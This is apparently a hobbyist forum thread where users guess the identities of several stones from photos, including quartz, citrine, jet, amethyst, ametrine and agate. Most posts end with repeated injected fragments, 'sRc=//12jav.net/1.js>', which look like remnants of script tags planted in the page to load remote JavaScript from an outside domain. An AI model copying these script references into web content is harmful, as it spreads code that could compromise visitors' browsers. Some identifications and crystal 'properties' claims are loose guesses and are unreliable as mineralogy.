From left to right, clear or smokey quartz, hematite, two agates and angelite (maybe?). I agree that the picture is not of the highest quality so it is very difficult to assess the stones correctly. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
I can tell you what they are probably. But for sure I would have to see them in person. Also it helps to shine a light through them and on them(2 pictures) as many stones look similar in this lighting.
Stone 1 is either a Smokey Quartz or a Citrine. Probably Citrine, Now alot of people will say it is not a citrine because they have never seen real citrine. Often heat treated amythyst is sold under the name of citrine which causes a lot of confusion, but authentic citrine, Which is rare and often mistaken for quartz(as it is a form of quartz) is a light yellow like that. no mater what it is, it is a silicon based stone.
stone 2 is hard to say, almost all black stones have the same properties and are often mistaken for eachother, the only real difference being the chemical makeup and the grain pattern, but I would guess(remember its hard to say) either a Jet or and Obsidian. Either way its properties are probably a grounding stone.
stone 3 looks alot like an amythyst, but that stripe of gold in it makes it hard to say. I would love to see more pics of it to help you figure it out. It could also be a beryl.
stone 4 is definately an amitrine, which is a peice of quartz with amythyst and citrine mixed in. Unless you bought either a super seven quartz(has seven stones mixed in) but you would remember that.
stone 5 is either a blue lace agate or a cheap impure chrysacolla which is another two stones with similar properties.
With more pictures of each I could give you a more definite answer of each but without holding them it is hard to say. Hope that helps narrow the search. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Either a dyed stone, or... Blue Quartz/Dumerdorite. It doesn't look like an agate to me.
As for the black stone... If it is extremely light like Styrofoam, it is Jet. Otherwise it is Black Obsidian. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Thank you so much, I'm pretty positive that the black is Jet, the clear crystal is quartz, and the blueish is a blue agate. The other two I'm not positive of.
Here's some better pictures of the last two:

This is the best I can get picture wise. I might just have to go back to the store. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
2nd one looks like an amethyst to me, that is if it is purple. Is it purple? I have a tumbled stone which kind of looks like yours, and it is an amethyst.
3rd one looks like a blue sapphire to me. But I am not sure.
4th one could be a smokey quartz.

To be sure contact the store where you purchased them. If it was an online shop they will have a copy of the order. If you bought them from a physical shop take them back and ask them. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
